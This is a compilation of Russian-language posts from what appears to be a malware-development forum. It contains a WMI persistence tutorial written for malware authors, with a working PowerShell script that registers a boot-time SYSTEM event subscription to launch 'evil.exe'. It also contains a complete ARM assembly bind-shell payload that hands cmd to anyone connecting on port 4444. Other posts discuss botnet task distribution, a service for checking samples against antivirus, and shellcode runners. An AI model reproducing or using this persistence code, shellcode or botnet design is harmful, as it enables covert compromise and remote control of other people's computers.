администрирования операционной системы.
WMI доступен на операционных системах начиная с Windows NT, а преустановлен в
качестве стандартного сервиса начиная с Windows 2000.
В чем подвох?
В данном случае никакого подвоха нет, мой дорогой друг. WMI - это не первый в мире инструмент удаленного администрирования, однако в контексте разработки malware под Windows данный инструмент может стать вашим бро. А все дело в том, что WMI работает с правами System, таким образом запускаемый через WMI код будет иметь теже права.
Архитектура WMI:
WMI - это имплементация стандартов WBEM и CIM, которые умные ребята
придумали, чтобы облегчить жизнь администраторам и malware-разработчикам.
Эти стандарты, как и любые стандарты, описывают средства для выполнения
некоторых операций, передачи данных и прочее. ((Гугл в помощь))
Классы и пространства имен
Информация хранится в формате WMI Object. Эти объекты в свою очередь являются
инстансами классов. Многие из стандартных классов описаны в MSDN, так что вам
туда.
Все классы можно запрашивать, используя встроенные язык WQL.
Классы располагаются в пространстве имен с помощью иерархической организации.
Все пространство имен происходят от ROOT.
Все WMI настройки, включая стандартные пространство имен хранятся по
следующему ключу:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
Следующий PowerShell код может быть использован для получения всех WMI классов.
Bash:Copy to clipboard
function Get-WmiNamespace {
Param($Namespace='ROOT')
Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
($ns = '{0}\{1}' -f $_.__NAMESPACE, $_.Name)
Get-WmiNamespace -Namespace $ns
}
}
$WmiClasses = Get-WmiNamespace | ForEach-Object {
$Namespace = $_
Get-WmiObject -Namespace $Namespace -List |
ForEach-Object { $_.Path.Path }
} | Sort-Object -Unique
Работа с WMI
WMI предоставляет синтаксис для работы с WMI объектами.
SQL:Copy to clipboard
SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
Похоже на SQL? ЭТО WQL БЛ9Д!!!!
1. Работа с инстансами
Следующий код вернет нам все запущенные процессы, которые содержат "chrome"
SQL:Copy to clipboard
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
2. Работа с ивентами
Заданный запрос будет стриггерен при входе пользователя
SQL:Copy to clipboard
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
3. Работа с мета информацией
Следующий запрос вернут нам список WMI классов, которые начинаются с Win32
SQL:Copy to clipboard
SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"
PowerShell
PowerShell - это тоже наш бро в работе с WMI. Следующие командлеты помогут нам в работе с WMI с помощью PowerShell:
Get-WmiObject
Get-CimAssociatedInstance
Get-CimClass
Get-CimInstance
Get-CimSession
Set-WmiInstance
Set-CimInstance
Invoke-WmiMethod
Invoke-CimMethod
New-CimInstance
New-CimSession
New-CimSessionOption
Register-CimIndicationEvent
Register-WmiEvent
Remove-CimInstance
Remove-WmiObject
Remove-CimSession
WMI Ивенты
Одна из самых мощных плюшек WMI для нас - это возможность WMI отвечать на WMI
ивенты, т.е. выполнять некоторый код в ответ на состояние системы.
Существует два класса WMI ивентов:
Локальный: выполняется в контексте одного процесса.
Перманентный: хранится в WMI репозитории, запускается от SYSTEM, устойчив к
reboot.
Требования
Для установки перманентного ивента нам необходимо:
1. event filter - ивент, который нас интересует.
2. event consumer - действие, которое выполнится в случае, когда ивент
произошел.
3. filter to consumer binding - механизм, который свяжет наш filter и
consumer.
Event Filter
Список фильтров вы можете оценить здесь -> ROOT\subscription:__EventFilter object
Cуществуют два вида фильтров:
1. Внутренние - это ивенты, которые выполняются при
удалении/создании/модификации WMI класса, объекта.
__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodInvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent
Эти ивенты очень полезны и позволяют отследить любое событие в операционной системе.
2. Внешние (Оставлю на вашу совесть)
Event Consumers
Event Consumer - это парень, который тушит пожар, когда объект "сарай" загорелся.
LogFileEventConsumer
ActiveScriptEventConsumer - выполняет VBScript
NTEventLogEventConsumer
SMTPEventConsumer
CommandLineEventConsumer - выполняет command-line код
PERSISTENCE
Да, мы долго к этому шли. (надеюсь, что мой краткий вольный пересказ не за*бал)
Следующий скрипт выполняет код при запуске системы от SYSTEM.
Bash:Copy to clipboard
$filterName='BotFilter'
$consumerName='BotConsumer'
$exePath='C:\Windows\System32\evil.exe'
$Query="SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 200 AND
TargetInstance.SystemUpTime < 320"
$WMIEventFilter=Set-WmiInstance -Class __EventFilter -NameSpace
"root\subscription" -Arguments
@{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}
-ErrorAction Stop $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer
-Namespace "root\subscription" -Arguments
@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
Пример реальной малвари:
https://securelist.com/a-mining-multitool/86950/
Итог
WMI предоставляет нам огромные возможности. С его помощью можно сделать file
less malware, реализовать все части нашего софта (начиная от разведки, до
передачи данных на C2)
Подробнее ищите по данным ссылкам:
• https://attack.mitre.org/techniques/T1047/
• https://attack.mitre.org/techniques/T1084/
• <http://la.trendmicro.com/media/misc/understanding-wmi-malware-research-
paper-en.pdf>
Доброго времени суток. На данный момент занимаюсь запилом ав-сервиса, краеугольным камнем работы которого стоит "общение" с ав-программами. Большая часть ав имеет вменяемые cmd-тулзы для работы с их движком, однако не всегда это оптимально и вообще возможно. Сейчас бьюсь над получением результата непосредственно с окна сканирования. Вариантов вижу три:
Вариант 1: скрин окна с последующим распарсом графическим анализатором.
Минус: придется составлять пиксельно-сигнатурный алфавит для каждого ав, что,
во-первых, муторно, во-вторых, он может в одночасье стать неактуальным, если
дизайнерам ав вздумается поменять цветовую схему.
Вариант 2: инжект.
Минус: что-то мне подсказывает, что сколько-нибудь уважающий себя ав будет
возражать против вторжение в свое адресное пространство.
Вариант 3: получение текста с окна с последующим распарсом.
Этот вариант мне видится наиболее приемлимым, но встает два вопроса:
1. Все ли ав дадут юзать свое окошко?
2. Это вообще блин возможно?
Буду очень благодарен за комментарии, спасибо.
Code:Copy to clipboard
; Title: Windows RT ARM Bind Shell (Port 4444)
; Date: July 28, 2013
; Author: Matthew Graeber (@mattifestation)
; Blog post: http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html
; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)
; License: BSD 3-Clause
; Syntax: MASM
; Notes: In order for this to work properly, you have to call this payload
; at baseaddress + 1 since it is thumb code.
; This was built with armasm.exe from Visual Studio 2012
AREA |.foo|, CODE, THUMB
; After linking, the resulting executable will only
; have a single section (with RX permissions) named .foo
EXPORT main
main
push {r4,lr} ; Preserve registers on the stack
bl ExecutePayload ; Execute bind shell function
pop {r4,pc} ; Restore registers on the stack and return to caller
GetProcAddress
; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
push {r1-r11,lr} ; Preserve registers on the stack
mov r9,r0 ; Save the function hash in R9
mrc p15,#0,r3,c13,c0,#2; R3 = &TEB
ldr r3,[r3,#0x30] ; R3 = &PEB
ldr r3,[r3,#0xC] ; R3 = PEB->Ldr
movs r6,#0 ; R6 = 0
ldr r1,[r3,#0xC] ; R1 = Ldr->InLoadOrderModuleList
ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack
cbz r4,exit_failure; If DllBase == 0, you've likely reached the end of the module list. Return 0.
mov r10,#0xD ; R10 = ROR value (13)
mov r11,#0xD ; R11 = ROR value (13)
get_module_hash ; Improvement: Need to validate MaximumLength != 0
ldrh r5,[sp,#2] ; BaseDllName.MaximumLength
movs r2,#0 ; i = 0
cbz r5,get_export_dir ; Reached the last char of BaseDllName
ror_module_char
ldrsb r3,[r7,r2] ; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
rors r0,r6,r10 ; Calculate the next portion of the module hash
cmp r3,#0x61 ; Is the character lower case?
blt notlowercase
adds r3,r3,r0 ; Add to the running hash value
subs r6,r3,#0x20 ; Convert character to upper case
b get_next_char
notlowercase
adds r6,r3,r0 ; Add to the running hash value
get_next_char
adds r2,#1 ; Move to the next character
cmp r2,r5 ; Reached the last character in the module name?
bcc ror_module_char; If not, move on to the next character
get_export_dir
; At this point, the module hash has been calculated.
; Now begin calculating the function hash
ldr r3,[r4,#0x3C] ; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
adds r3,r3,r4 ; PIMAGE_NT_HEADERS
ldr r3,[r3,#0x78] ; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
cbz r3,get_next_module ; Move to the next module if it doesn't have an export directory (i.e. most exe files)
adds r5,r3,r4 ; Calculate export dir virtual address
ldr r3,[r5,#0x20] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
ldr r7,[r5,#0x18] ; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
movs r0,#0
adds r8,r3,r4 ; AddressOfNames VA
cbz r7,get_next_module ; Move on to the next module if there are no exported names
calc_func_hash
ldr r3,[r8],#4 ; R3 = Current name RVA
movs r2,#0
adds lr,r3,r4 ; lr = Current name VA
get_func_char
ldrsb r3,[lr] ; Load char from the function name
rors r2,r2,r11 ; Calculate the next portion of the function hash
adds r2,r2,r3 ; Add to the running hash value
ldrsb r3,[lr],#1 ; Peek at the next char
cmp r3,#0 ; Are you at the end of the function string?
bne get_func_char ; If not, calculate hash for the next char.
adds r3,r2,r6 ; Add the module hash to the function hash
cmp r3,r9 ; Does the calulated hash match the hash provided?
beq get_func_addr
adds r0,#1
cmp r0,r7 ; Are there more functions to process?
bcc calc_func_hash
get_next_module
ldr r1,[r1] ; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
movs r6,#0 ; Clear the function hash
; Improvement: The following portion is redundant
ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
cmp r4,#0 ; DllBase == 0?
str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack
bne get_module_hash
exit_failure
movs r0,#0 ; Return 0 upon failure to find a matching hash
exit_success
pop {r1-r11,pc} ; Restore stack and return to caller with the function address in R0
get_func_addr
ldr r3,[r5,#0x24] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
add r3,r3,r0,lsl #1
ldrh r2,[r3,r4] ; R2 = Ordinal table index
ldr r3,[r5,#0x1C] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
add r3,r3,r2,lsl #2
ldr r3,[r3,r4] ; Function RVA
adds r0,r3,r4 ; R0 = Function VA
b exit_success
ExecutePayload
; Improvement: None of the calls to GetProcAddress
; validate that a valid address was actually returned
; Metasploit shellcode doesn't perform this validation either. :P
push {r4-r11,lr} ; Preserve registers on the stack
subw sp,sp,#0x214 ; Allocate soace on the stack for local variables
movs r3,#0x44 ; sizeof(_PROCESS_INFORMATION)
add r2,sp,#0x38 ; R2 = &StartupInfo
movs r1,#0
init_mem1
; Improvement: I could just initialize everything on the stack to 0
strb r1,[r2],#1 ; Set current byte to 0
subs r3,#1
bne init_mem1
movs r3,#0x10 ; sizeof(_STARTUPINFOW)
add r2,sp,#0x28 ; R2 = &ProcessInformation
init_mem2
strb r1,[r2],#1 ; Set current byte to 0
subs r3,#1
bne init_mem2
ldr r0,HASH_LoadLibraryA
bl GetProcAddress
mov r3,r0
adr r0,module_name ; &"ws2_32.dll"
blx r3 ; LoadLibrary("ws2_32.dll");
ldr r0,HASH_WsaStartup
bl GetProcAddress
mov r4,r0
ldr r0,HASH_WsaSocketA
bl GetProcAddress
mov r5,r0
ldr r0,HASH_Bind
bl GetProcAddress
mov r6,r0
ldr r0,HASH_Listen
bl GetProcAddress
mov r7,r0
ldr r0,HASH_Accept
bl GetProcAddress
mov r8,r0
ldr r0,HASH_CloseSocket
bl GetProcAddress
mov r9,r0
ldr r0,HASH_CreateProcess
bl GetProcAddress
mov r10,r0
ldr r0,HASH_WaitForSingleObject
bl GetProcAddress
mov r11,r0
mov r0,#0x0202
add r1,sp,#0x80
blx r4 ; WSAStartup(MAKEWORD(2, 2), &WSAData);
movs r3,#0
movs r2,#0
movs r1,#1
movs r0,#2
str r3,[sp,#4]
str r3,[sp]
blx r5 ; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
movs r3,#2 ; service.sin_family = AF_INET;
strh r3,[sp,#0x18]
movs r3,#0 ; service.sin_addr.s_addr = 0;
str r3,[sp,#0x1C]
mov r3,#0x5C11 ; service.sin_port = HTONS(4444);
movs r2,#0x10
add r1,sp,#0x18
strh r3,[sp,#0x1A]
mov r5,r0 ; WSASocketA returned socket (s)
blx r6 ; Bind( s, (SOCKADDR *) &service, sizeof(service) );
movs r1,#0
mov r0,r5
blx r7 ; Listen( s, 0 );
movs r2,#0
movs r1,#0
mov r0,r5
blx r8 ; AcceptedSocket = Accept( s, 0, 0 );
mov r4,r0
mov r0,r5
blx r9 ; CloseSocket( s ); Close the original socket
mov r3,#0x101 ; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
str r3,[sp,#0x64]
movs r3,#0x44 ; StartupInfo.cb = 68;
str r3,[sp,#0x38]
add r3,sp,#0x28
str r3,[sp,#0x14]
add r3,sp,#0x38
str r3,[sp,#0x10]
movs r3,#0
str r3,[sp,#0xC]
str r3,[sp,#8]
str r3,[sp,#4]
movs r3,#1
adr r1,cmdline ; &"cmd"
str r3,[sp]
movs r3,#0
movs r2,#0
movs r0,#0
str r4,[sp,#0x78] ; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
str r4,[sp,#0x74] ; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
str r4,[sp,#0x70] ; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
blx r10 ; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
ldr r0,[sp,#0x28]
mvn r1,#0
blx r11 ; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
addw sp,sp,#0x214
pop {r4-r11,pc}
HASH_WaitForSingleObject
DCD 0x601d8708
HASH_CreateProcess
DCD 0x863fcc79
HASH_CloseSocket
DCD 0x614d6e75
HASH_Accept
DCD 0xe13bec74
HASH_Listen
DCD 0xff38e9b7
HASH_Bind
DCD 0x6737dbc2
HASH_WsaSocketA
DCD 0xe0df0fea
HASH_WsaStartup
DCD 0x006b8029
HASH_LoadLibraryA
DCD 0x0726774c
cmdline
DCB "cmd", 0x0
module_name
DCB "ws2_32.dll", 0x0
END
# EEAA81D0894E5DFE 1337day.com [2013-07-29] 61F6D45A5CE7F924 #
Добрый день ув. форумчане!
Есть код на masm32:
Code:Copy to clipboard
.386
.model flat, stdcall
option casemap:none
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
.data
shellcode db 6Ah, 00h, 6Ah, 00h, 6Ah, 00h, 6Ah, 00h, 0FFh, 0D3h, 0C3h
.code
start:
mov ebx, MessageBoxA
mov esi, offset shellcode
call esi
push 0
call ExitProcess
end start
где
Code:Copy to clipboard
shellcode db 6Ah, 00h, 6Ah, 00h, 6Ah, 00h, 6Ah, 00h, 0FFh, 0D3h, 0C3h
это
Code:Copy to clipboard
push 0
push 0
push 0
push 0
call ebx
ret
При портировании и сборке данного кода на fasm, бинарь не работает.
Code:Copy to clipboard
format PE GUI on 'nul'
entry start_program
section '.test' code import writeable readable executable
include 'win32ax.inc'
library kernel32, 'kernel32.dll',\
user32, 'user32.dll'
import kernel32,\
ExitProcess, 'ExitProcess'
import user32,\
MessageBoxA, 'MessageBoxA'
start_program:
mov ebx, MessageBoxA
mov esi, shellcode
call esi
push 0
call ExitProcess
shellcode db 6Ah, 00h, 6Ah, 00h, 6Ah, 00h, 6Ah, 00h, 0FFh, 0D3h, 0C3h
MASM32 -
FASM -
Видимо какая-то проблема с импортом.. где тут в коде фасма накосячено посоны? :rtfm:
В masm'е отрабатывает так:
Давайте в этой теме соберем различные материалы по работе с технологией СОМ/СОМ+. Приветствуются линки на годные статьи, книги, мануалы и прочее. Так как технология СОМ весьма интересна, и обладает огромными возможностями. Например, те же регулярки, которые можно использовать в ботах, автоматизация работы с internet explorer, повышение привилегий для ботов, и так далее.
Приятного времени суток - соратники.
Не могу осознать какого члена не работает кодес ( на хр и ниже работал на ура
)
Code:Copy to clipboard
.686
.model flat, stdcall
option casemap :none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\shell32.inc
includelib c:\masm32\lib\masm32.lib
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\shell32.lib
includelib c:\masm32\lib\user32.lib
IMAGE_OPTIONAL_HEADER64 STRUCT
Magic WORD ?
MajorLinkerVersion BYTE ?
MinorLinkerVersion BYTE ?
SizeOfCode DWORD ?
SizeOfInitializedData DWORD ?
SizeOfUninitializedData DWORD ?
AddressOfEntryPoint DWORD ?
BaseOfCode DWORD ?
ImageBase QWORD ?
SectionAlignment DWORD ?
FileAlignment DWORD ?
MajorOperatingSystemVersion WORD ?
MinorOperatingSystemVersion WORD ?
MajorImageVersion WORD ?
MinorImageVersion WORD ?
MajorSubsystemVersion WORD ?
MinorSubsystemVersion WORD ?
Win32VersionValue DWORD ?
SizeOfImage DWORD ?
SizeOfHeaders DWORD ?
CheckSum DWORD ?
Subsystem WORD ?
DllCharacteristics WORD ?
SizeOfStackReserve QWORD ?
SizeOfStackCommit QWORD ?
SizeOfHeapReserve QWORD ?
SizeOfHeapCommit QWORD ?
LoaderFlags DWORD ?
NumberOfRvaAndSizes DWORD ?
DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER64 ENDS
IMAGE_NT_HEADERS64 STRUCT
Signature DWORD ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER64 <>
IMAGE_NT_HEADERS64 ENDS
.data
ConsoleTitle db "CRC32import calculator for PE32 and PE+ Win32 NTx86 ASCII (c) Izg0y 2011", 0
help db 0Dh, 0Ah, "Usage:", 0Dh, 0Ah, " name.exe C:\WINDOWS\system32\ntdll.dll", 0Dh, 0Ah, 0
Menu db 0Dh, 0Ah, " CRC32-hash APi-name", 0Dh, 0Ah, " --------------------------", 0Dh, 0Ah, 0Dh, 0Ah, 0
template db " 0x%08X %s",0Dh,0Ah, 0
Final db " --------------------------", 0Dh, 0Ah, " Total: %d", 0Dh, 0Ah, 0
.data?
hFile dd ?
argc dd ?
ConsoleHandle dd ?
hMapping dd ?
hMap dd ?
.code
CalcHash proc uses edx ecx ebx
mov edx, edi
mov ecx, eax
xor eax, eax
.IF ecx != 0
dec eax
@1:
xor al,byte ptr [edx]
inc edx
push 08
pop ebx
@2:
shr eax, 1
jnc @3
xor eax, 0EDB88320h
@3:
dec ebx
jnz @2
loop @1
not eax
.ENDIF
ret
CalcHash endp
RVAToFileMap PROC uses edi esi edx ecx RVA:DWORD
mov esi, hMap
assume esi:ptr IMAGE_DOS_HEADER
add esi, [esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS64
mov edi, RVA
mov edx, esi
.IF [esi].OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC
add edx, sizeof IMAGE_NT_HEADERS32
.ELSEIF [esi].OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC
add edx, sizeof IMAGE_NT_HEADERS64
.ENDIF
movzx ecx, cx
assume edx:ptr IMAGE_SECTION_HEADER
.while ecx > 0
.if edi >= [edx].VirtualAddress
mov eax, [edx].VirtualAddress
add eax, [edx].SizeOfRawData
.if edi < eax
mov eax, [edx].VirtualAddress
sub edi, eax
mov eax, [edx].PointerToRawData
add eax, edi
add eax, hMap
ret
.endif
.endif
add edx,sizeof IMAGE_SECTION_HEADER
dec ecx
.endw
assume edx:nothing
assume esi:nothing
mov eax,edi
ret
RVAToFileMap endp
FindImport proc
LOCAL temp[512]:BYTE
LOCAL i:DWORD
mov i, 0
mov esi, hMap
assume esi:ptr IMAGE_DOS_HEADER
.IF [esi].e_magic == IMAGE_DOS_SIGNATURE
add esi, [esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.IF [esi].Signature == IMAGE_NT_SIGNATURE
.IF [esi].OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC
mov edi, [esi].OptionalHeader.DataDirectory.VirtualAddress
.ELSEIF [esi].OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC
assume esi: ptr IMAGE_NT_HEADERS64
mov edi, [esi].OptionalHeader.DataDirectory.VirtualAddress
.ENDIF
invoke RVAToFileMap, edi
mov edi, eax
assume edi:ptr IMAGE_EXPORT_DIRECTORY
mov ebx, [edi].NumberOfNames
invoke RVAToFileMap, [edi].AddressOfNames
push eax
invoke WriteFile, ConsoleHandle, addr Menu, 59, addr help, 0
pop esi
.while ebx > 0
invoke RVAToFileMap, dword ptr [esi]
mov edi, eax
invoke lstrlenA, eax
call CalcHash
invoke wsprintf, addr temp, addr template, eax, edi
invoke lstrlenA, addr temp
invoke WriteFile, ConsoleHandle, addr temp, eax, addr help, 0
dec ebx
add esi, 4
inc i
.endw
invoke wsprintf, addr temp, addr Final, i
invoke WriteFile, ConsoleHandle, addr temp, eax, addr help, 0
.ENDIF
.ENDIF
ret
FindImport endp
start:
invoke GetStdHandle, STD_OUTPUT_HANDLE
mov ConsoleHandle, eax
invoke SetConsoleTitleA, addr ConsoleTitle
invoke GetCommandLineW
invoke CommandLineToArgvW, eax, addr argc
.IF argc != 1
add eax, 4
invoke CreateFileW, [eax], GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
.IF eax != INVALID_HANDLE_VALUE
mov hFile, eax
invoke CreateFileMapping, hFile, 0, PAGE_READONLY, 0, 0, 0
.IF eax != 0
mov hMapping, eax
invoke MapViewOfFile, hMapping, FILE_MAP_READ, 0, 0, 0
.IF eax != 0
mov hMap, eax
invoke FindImport
.ENDIF
invoke CloseHandle, hMapping
.ENDIF
invoke CloseHandle, hFile
.ENDIF
.ELSE
invoke WriteFile, ConsoleHandle, addr help, 60, 0, 0
.ENDIF
ret
end start
Какое таинство несёт переход и какая очередная MS шиза принесла погибель?
Существуют ли в винде какие-то ограничения на максимальное к-тво потоков? Точнее, интересуют не столько ограничения, а рекомендации - какое к-тво потоков желательно устанавливать для той или иной системы, чтобы она не зависла? Может быть какой-то высчитывать на основе свободной оперативной памяти, или еще какие-то варианты.
В процессе ваяния собственного кода возник этот вопрос. В том паблике, что я
находил таски считаются довольно топорно - если бот зашел на гейт, то отдается
задание и записывается боту как выполненное и больше не отдается, но это же
бред, так как возможны проблемы:
- соединение прервалось и задание скачалось ботом не полностью
- сервер откуда надо скачать недоступен или перегружен
- файл не запустился
и так далее. Из-за этого статистика будет неправдоподобной. Не будет ли лучше
отдать задание, пометить его как pending для бота и ждать второго отстука с
подтверждением о выполнении? С другой стороны это рождает проблемы, что
довольно трудно точно слить лоады, так как между статусами pending и done
задания для конкретного бота может пройти какоето, иногда довольно
существенное, время, за которое задание может отдаться ещё нескольким ботам. С
другой стороны можно считать общее pending+done и если какие-то pending будут
не выполнены в течении некоторого времени - повторяем их для других ботов,
которые ещё задания не выполняли, но тут опять минусы - тормозится выполнение
задания. Как лучше?
И второй вопрос, возникший вследствии разбора чужих админок - многие кодеры выполненные задания для бота пишут в его запись в каком то поле (разделенные каким-то символом - task1|task2|...). Это как-то коряво на мой взгляд. Насколько помню отношения многие ко многим нормализуются через промежуточную таблицу, где каждая запись будет устанавливать соответствие между конкретным ботом и конкретным заданием. Вопрос в том, что не будет ли это менее производительнее чем первый вариант?
PS Сорри если форум не соответствует, долго думал куда лучше, решил, что все таки здесь - если надо, перенесите пожалуйста.
Забавный способ запускать шелл-коды с помощью AutoIt. Этот код получает адрес kernel32.dll
FASM
Code:Copy to clipboard
GetKernelHandle_x86:
mov eax, [fs:030h]
mov eax, [eax+0ch]
mov eax, [eax+01ch]
mov eax, [eax]
mov eax, [eax+08h]
ret
AutoIt
Code:Copy to clipboard
#include <winapi.au3>
$strucGetKernelHandle_x86 = DllStructCreate("char[64]");
$GetKernelHandle_x86 = Chr(0x64)&Chr(0xA1)&Chr(0x30)&Chr(0x0)&Chr(0x0)&Chr(0x0)&Chr(0x8B)&Chr(0x40)&Chr(0x0C)&Chr(0x8B)
$GetKernelHandle_x86 &= Chr(0x40)&Chr(0x1c)&Chr(0x8B)&Chr(0x0)&Chr(0x8B)&Chr(0x40)&Chr(0x08)&Chr(0xC3)
DllStructSetData($strucGetKernelHandle_x86, 1, $GetKernelHandle_x86)
$hKernel32 = _WinAPI_CallWindowProc(DllStructGetPtr($strucGetKernelHandle_x86), 0, 0, 0, 0)
MsgBox(0, "Address of Kernel32.dll", Hex($hKernel32))
Подскажите пожалуйста, что можно почитать на тему, чтобы понять, как делается
прокси/сокс чекер? В плане, сам процесс чека прокси на низком уровне.
Я смотрел некоторые сорцы, но что-то не могу понять суть до конца. Статьи
такой также не найду.
Я примерно понимаю алгос - надо подключится к прокси и попробовать послать гет запрос на какой-то сайт через проксю (гугл или что);после сравнить ответ, есть ли там хтмл код нужного сайта или нет. Неясно другое, как подключится к прокси/сокс безо всяких там курлов, вининет и т.д.
Написал рекурсивный поиск файлов. Вроде все работает, но есть некоторые
проблемы, а именно - почему-то выводятся имена "..". Хотя я пробовал
сравнивать и через lstrcmp, и иначе (;&& byte ptr[fd.cFileName]!="." && word
ptr[fd.cFileName]!=".."), все равно не получается.
В чем ошибка?
р.s. Большая просьба помочь именно с этим кодом. Я в курсе, что в интернете
очень много примеров рекурсии, мне нужен не результат поиска файлов, а понятие
сути рекурсивного поиска.
p.p.s. вероятно, код кривой и унылый, но лучше сделать не получилось.
Code:Copy to clipboard
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\wininet.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
uselib kernel32,masm32
findAll PROTO :dword
.data
fd WIN32_FIND_DATA <>
startDir db "F:\Demod",0;стартовая папка
mask0 db "*",0;маска поиска
buf1 db 256 dup(0)
.code
Start:
push offset startDir
call findAll
invoke ExitProcess,0
findAll PROC p1:dword
local buf[256]:byte;рабочий буфер
local directory[256]:byte;текущая директория
local hFindFile:dword
local directoryRes[256]:byte;резервный буфер
invoke lstrcpy,addr buf,p1;копируем то, на что указывает буфер (т.е. переданную директорию)
invoke lstrcpy,addr directory,addr buf;копируем это еще раз, для передачи в функцию
invoke lstrcpy,addr directoryRes,addr buf;и еще раз, для резерва
invoke lstrcat,addr buf,chr$("\");добавляем слеш
invoke lstrcat,addr buf,offset mask0;добавляем маску
invoke lstrlen,p1;вычисляем длину папки с маской
mov esi,eax
add esi,sizeof mask0;добавляем длину маски
mov byte ptr buf[esi],0;добавляем нуллбайт
invoke FindFirstFile,addr buf,offset fd
mov hFindFile,eax
invoke StdOut,addr buf
invoke StdOut,chr$(13,10)
.if eax==INVALID_HANDLE_VALUE; если ошибка
print "some error with FindFirstFile";уведомляем и выходим
ret
.endif
.REPEAT
.if fd.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY
invoke lstrcmp,addr fd.cFileName,chr$(".")
test eax,eax
jz FNDNext
invoke lstrcmp,addr fd.cFileName,chr$("..")
test eax,eax
jz FNDNext
;&& byte ptr[fd.cFileName]!="." && word ptr[fd.cFileName]!="..";если папка
invoke lstrcat,addr directory,chr$("\")
invoke lstrcat,addr directory,offset fd.cFileName;добавляем к текущей папке имя найденной
lea edx,directory
push edx;передаем это все в рекурсию
call findAll
.endif
FNDNext:;сюда переходим для поиска дальше
invoke FindNextFile,hFindFile,offset fd
cmp eax,0;файлы кончились,
je ende1;идем на выход
invoke StdOut,offset fd.cFileName
invoke StdOut,chr$(13,10)
nvoke RtlZeroMemory,addr buf,sizeof buf;очищаем буфер
invoke lstrcpy,addr directory,addr directoryRes;восстановить из резервной копии
.UNTIL eax==0
ende1:
invoke FindClose,hFindFile
ret
findAll ENDP
end Start
Помогите пожалуйста.
Учу java по книге Брюса Экеля "Философия java/Thinking in java" и я застрял на
одном месте уже около недели. Облазил вроде весь гугл но ничего не помогло.
Отсюда можно cкачать
программные коды и библиотеки которые описываются в книге. Я не знаю как
заставить работать код с определеной библиотекой из книги.
В книге библиотеки формата .java , а должны быть .jar. Ну я полазил в гугле и
нашел что записав "jar cf название-жар.jar название-java-библиотеки.java" к
примеру jar cf Range.jar Range.java я создаю так jar файл , и не знаю
правильно ли я делаю. Но вот как использовать его в программном коде через
